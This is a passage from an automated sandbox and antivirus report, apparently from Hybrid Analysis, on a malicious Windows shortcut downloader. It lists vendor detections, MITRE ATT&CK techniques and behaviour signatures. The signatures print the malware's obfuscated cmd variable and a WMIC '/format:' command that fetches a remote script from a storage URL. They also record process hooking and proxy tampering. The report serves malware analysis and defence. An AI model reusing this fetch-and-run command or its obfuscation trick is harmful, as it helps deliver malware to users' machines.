2.Gen;Trojan.LNK.Agent.AJC","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Lnk.Malware.Astaroth-7085865-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.LNK-COMSPEC.2.Gen (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"LNK/TrojanDownloader.Agent.RP trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.WinLNK.Obfus.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"LNK/Agent-FSBS!B61D0630C4EF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Downloader.gfkdmt","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DownLnk-AB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Link.ShellCmd","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Downloader.Agent.Script.4484","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.LNK","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"},{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"informative","value":"Opened the service control manager"},{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"suspicious","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1083","identifiers":[{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1197","identifiers":[{"type":"malicious","value":"Utilizes bitsadmin (possibly used for persistence)"}],"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","identifiers":[{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1140","identifiers":[{"type":"malicious","value":"Uses certutil to decode a file (seen on targeted attacks)"},{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"informative","value":"Uses certutil from the Windows Certificate Services"}],"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"WMIC.exe\" issued a query \"SELECT UFHKmxih2, FreeVirtualMemory FROM Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$24","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$25","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ocsp.pki.goog\"\n \"storage.googleapis.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.217.0.16:443\"\n \"172.217.10.3:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"WMIC.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)\n \"WMIC.exe\" called \"OpenSCManager\" requesting access rights \"0XE0000000L\"","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$26","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00125089-00004664) was launched with new environment variables: \"x=\"C77jhd2766:\\\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766\n fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:\"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v\" \"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WMIC.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"/S /D /c\" echo %x:77jhd2766=%\"\" (UID: 00125089-00004664)\n Spawned process \"cmd.exe\" (UID: 00125090-00002420)\n Spawned process \"WMIC.exe\" with commandline \"C:\\\\Windows\\\\system32\\\\wbem\\\\WMIC.exe os get UFHKmxih2, freevir ...\" (UID: 00125271-00001632)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"cmd.exe\" with commandline \"/S /D /c\" echo %x:77jhd2766=%\"\" (UID: 00125089-00004664)\n Spawned process \"cmd.exe\" (UID: 00125090-00002420)\n Spawned process \"WMIC.exe\" with commandline \"C:\\\\Windows\\\\system32\\\\wbem\\\\WMIC.exe os get UFHKmxih2, freevir ...\" (UID: 00125271-00001632)","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"cmd.exe\" is creating a new process (Name: \"%WINDIR%\\System32\\cmd.exe\", Handle: 92)\n \"cmd.exe\" is creating a new process (Name: \"%WINDIR%\\System32\\cmd.exe\", Handle: 84)\n \"cmd.exe\" is creating a new process (Name: \"%WINDIR%\\System32\\wbem\\WMIC.exe\", Handle: 80)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"BE8B021F9E811DFC8C8A28572A17C05A_F8C660BDA0A15C43A0E97ADAD6819DBB\" has type \"data\"\n \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"Microsoft Cabinet archive data 6894 bytes 1 file\"\n \"CFE86DBBE02D859DC92F1E17E0574EE8_46766FC45507C0B9E264E4C18BC7288B\" has type \"data\"\n \"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"storage.googleapis.com\"\n Pattern match: \"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"WMIC.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"System Security","name":"Modifies Software Policy Settings","description":"$28","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"WMIC.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WMIC.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"WMIC.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"WMIC.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"WMIC.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WMIC.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WMIC.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"Microsoft Cabinet archive data 6894 bytes 1 file\"","origin":"Binary File","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"WMIC.exe\" wrote bytes \"fae6a677e1a6ab772e71ab77ee29ab7785e2a6776da0ab7726e4a677d16dab77003da977804ba97700000000ad37a5768b2da576b641a57600000000\" to virtual address \"0x74DF1000\" (part of module \"WSHTCPIP.DLL\")\n \"WMIC.exe\" wrote bytes \"c04ea9772054aa77e065aa77b538ab770000000000d0c17700000000c5eac1770000000088eac17700000000e968c4758228ab77ee29ab7700000000d269c475000000007dbbc1770000000009bec47500000000ba18c17700000000\" to virtual address \"0x75EB1000\" (part of module \"NSI.DLL\")\n \"WMIC.exe\" wrote bytes \"e739a777e1a6ab772e71ab77ee29ab7785e2a6776da0ab779064aa773ad5b17726e4a677d16dab77003da977804ba97700000000ad37a5768b2da576b641a57600000000\" to virtual address \"0x75321000\" (part of module \"WSHIP6.DLL\")\n \"WMIC.exe\" wrote bytes \"60640ffc\" to virtual address \"0x72AE1B9C\" (part of module \"MSOXMLMF.DLL\")","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"3/70 reputation engines marked \"https://storage.googleapis.com/awsdx/09/v.txt\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.217.0.16 on port 443 is sent without HTTP header\n TCP traffic to 172.217.10.3 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"C:\\\\Windows\\\\system32\\\\wbem\\\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:\"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv\"\" (Indicator: \"wmic.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads system information using Windows Management Instrumentation Commandline (WMIC)","description":"Process \"WMIC.exe\" with commandline \"C:\\\\Windows\\\\system32\\\\wbem\\\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:\"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv\"\" (UID: 00125271-00001632)","origin":"Monitored Target","mitre_attack_id":"T1047","relevance":3,"id":"target-10","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"29/59 Antivirus vendors marked sample as malicious (49% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"29/59 Antivirus vendors marked sample as malicious (49% detection rate)\n 5/19 Antivirus vendors marked sample as malicious (26% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"WMIC.exe\" at 00100002-00002436-00000105-10500930493","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00099715-00001180-45923-13-4AC313A9\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00099818-00003104-51763-13-4AC313A9\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00099820-00001136-55852-13-4AC313A9","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"$29","origin":"Hybrid Analysis 